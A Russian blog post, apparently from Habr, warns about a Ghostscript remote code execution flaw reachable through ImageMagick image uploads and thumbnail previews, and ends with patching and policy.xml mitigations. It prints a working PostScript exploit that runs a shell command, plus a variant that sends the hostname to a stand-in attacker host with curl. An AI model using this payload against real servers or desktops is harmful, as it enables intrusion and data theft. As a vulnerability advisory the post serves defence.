Хабрахабр

Удалённое выполнение кода через загрузку картинок на вашем сервере или локальном компьютере в ghostscript/imagick

Кратко: если у вас на сайте есть загрузка изображений и вы обрабатываете их при помощи популярной библиотеки ImageMagick, то загрузив картинку можно выполнить shell-команду с правами юзера веб-сервера (например: загрузить RAT, майнер, слить исходники, получить доступ к базе, вызвать отказ и т.п.)

Странно, что мимо хабросообщества прошла стороной новость (оригинал) о новых дырах в библиотеке GhostScript и как следствие множестве других библиотек, использующих её под капотом. Итак, что мы имеем?
Как проверить, что ваш сервер уязвим?

Пример файла ниже не сильно вредит — лишь делает 5-секундную задержку. Берём и загружаем тестовый .ps файл на сервер вместо картинки. Если сервер отвечает дольше 5 секунд, то у вас проблема: или ваш сервис уязвим или он оооочень медленно работает =)

%!PS
% This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654). userdict /setpagedevice undef
a4 currentpagedevice /HWResolution get 0 (foobar) put
stopped clear % make sure we have a device with OutputFile
(ppmraw) selectdevice mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops { showpage } stopped pop
quit

Ключевая команда: sleep 5

Альтернативной командой может быть

mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops

или что-то гораздо менее безобидное.

Кроме загрузки в обработчик картинок можно просто прислать ссылку на .ps файл жертве и так как в большинстве ОС при сохранении его на компьютер создаётся превью, это также вызывает эксплуатацию (проверено лично на Linux десктопе). Векторов эксплуатации множество. На момент написания ни один антивирус не детектил тестовые .ps файлы как опасные.

Что делать?

К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии — нужна та что свежее 28 августа.

Также SELinux должен закрыть часть векторов атак, например запись в нестандартные папки. На серверах можно сделать предварительную проверку типа изображения сторонней библиотекой, фильтрацию через policymap файл ImageMagick/policy.xml и не обрабатывать уязвимые типы файлов.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть